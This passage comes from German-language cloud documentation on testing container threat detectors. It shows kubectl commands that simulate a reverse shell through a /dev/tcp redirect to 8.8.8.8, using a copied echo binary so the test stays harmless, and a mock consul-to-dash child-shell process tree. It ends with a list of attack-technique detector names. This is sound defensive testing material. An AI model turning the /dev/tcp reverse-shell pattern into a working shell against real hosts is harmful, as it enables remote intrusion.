   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Mit diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Unerwartete untergeordnete Shell

Wenn Sie den Unexpected Child Shell-Detektor testen möchten, können Sie einen Prozessbaum erstellen, der einen untergeordneten Shell-Prozess enthält.

Im folgenden Beispiel wird ein consul->dash-Prozessbaum erstellt, der vom Unexpected Child Shell-Detektor erkannt werden kann. Dieser Test ist sicher, da nur integrierte Binärdateien verwendet werden. Dieses Beispiel tut Folgendes:

Erstellt eine Kopie des sh-Prozesses und gibt ihr den Namen consul.
Kopiert den Prozess echo und benennt ihn in dash um.
Ruft den kopierten dash-Prozess im kopierten consul-Prozess auf.

So lösen Sie ein Unexpected Child Shell-Ergebnis aus:

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Verwenden Sie den Mock-Prozess consul, um eine Mock-Shell aufzurufen:

x86-Knoten:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

ARM-Knoten:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Mit diesem Testverfahren wird ein Ergebnis des Typs Unexpected Child Shell erstellt, das Sie in Security Command Center aufrufen können. Wenn Logging für Container Threat Detection konfiguriert ist und Sie Security Command Center Premium oder Enterprise auf Organisationsebene aktiviert haben, können Sie das Ergebnis auch in Cloud Logging ansehen.

Zur Rauschunterdrückung werden bei der ersten Erstellung eines Containers unerwartete untergeordnete Shells durch Container Threat Detection vorübergehend herausgefiltert. Wenn Sie alle Ergebnisse für „Unexpected Child Shell“ sehen möchten, während Sie einen Container einrichten, stellen Sie dem Container- oder Pod-Namen ktd-test voran, wie im Beispiel.

Nächste Schritte

Container Threat Detection verwenden

Container Threat Detection testen Mit Sammlungen den Überblick behalten Sie können Inhalte basierend auf Ihren Einstellungen speichern und kategorisieren.

Hinweis

Status eines Detektors prüfen

Console

gcloud

Linux, macOS oder Cloud Shell

Windows (PowerShell)

Windows (cmd.exe)

REST

curl (Linux, macOS oder Cloud Shell)

PowerShell (Windows)

Detektoren aktivieren

Console

gcloud

Linux, macOS oder Cloud Shell

Windows (PowerShell)

Windows (cmd.exe)

REST

curl (Linux, macOS oder Cloud Shell)

PowerShell (Windows)

Umgebungsvariablen festlegen

Ausgeführte Binärdatei hinzugeführt

Hinzugefügte Mediathek geladen

Sammlung: Pam.d-Änderung (Vorabversion)

Command and Control: Codeausführung mit Pipe-Codierung

Command and Control: Download mit Pipe-Codierung

Command-and-Control-Aktivitäten: Steganographie-Tool erkannt

Zugriff auf Anmeldedaten: Auf vertrauliche Dateien auf Knoten zugreifen (Vorschau)

Zugriff auf Anmeldedaten: Finden Google Cloud Anmeldedaten

Zugriff auf Anmeldedaten: Ausspähung von GPG-Schlüsseln

Zugriff auf Anmeldedaten: Suche nach privaten Schlüsseln oder Passwörtern

Defense Evasion: Base64 ELF File Command Line

Defense Evasion: Base64 Encoded Python Script Executed

Defense Evasion: Base64 Encoded Shell Script Executed

Defense Evasion: Disable or Modify Linux Audit System (Preview)

Defense Evasion: Compiler-Tool für Code im Container gestartet

Defense Evasion: Root-Zertifikat installiert (Vorschau)

Ausführung: Hinzugefügtes schädliches Binärprogramm ausgeführt

Ausführung: hinzugefügte schädliche Bibliothek geladen

Ausführung: Container-Escape

Ausführung: Dateilose Ausführung in /memfd:

Ausführung: Ausnutzung der Sicherheitslücke „Ingress Nightmare“

Execution: Kubernetes Attack Tool Execution

Ausführung: Ausführung eines lokalen Ausspähtools

Ausführung: Schädlicher Python-Code ausgeführt

Ausführung: Geändertes schädliches Binärprogramm ausgeführt

Ausführung: geänderte schädliche Bibliothek geladen

Ausführung: Netcat-Remote-Codeausführung im Container

Ausführung: Mögliche Ausführung beliebiger Befehle über CUPS (CVE-2024-47076)

Ausführung: Mögliche Remote-Befehlsausführung erkannt

Ausführung: Programmausführung mit nicht zulässiger HTTP-Proxy-Umgebung

Ausführung: Socat-Reverse-Shell erkannt

Ausführung: Verdächtige Cron-Änderung (Vorschau)

Ausführung: Verdächtiges freigegebenes OpenSSL-Objekt geladen

Exfiltration: Remote-Tools zum Kopieren von Dateien im Container gestartet

Auswirkungen: Erkennung schädlicher Cmdline-Dateien

Auswirkung: Bulk-Entfernung von Daten von Laufwerk

Auswirkung: Verdächtige Cryptomining-Aktivität mit Stratum-Protokoll

Schädliches Script ausgeführt

Schädliche URL beobachtet

Persistenz: ld.so.preload ändern (Vorschau)

Rechteausweitung: Missbrauch von Sudo zur Rechteausweitung (CVE-2019-14287)

Rechteausweitung: Dateilose Ausführung in /dev/shm

Rechteausweitung: Sicherheitslücke bei der lokalen Rechteausweitung in Polkit (CVE-2021-4034)

Rechteausweitung: Mögliche Rechteausweitung durch Sudo (CVE-2021-3156)

Reverse Shell

Unerwartete untergeordnete Shell

Nächste Schritte

Container Threat Detection testen

Ausführung: Dateilose Ausführung in `/memfd:`

Rechteausweitung: Dateilose Ausführung in `/dev/shm`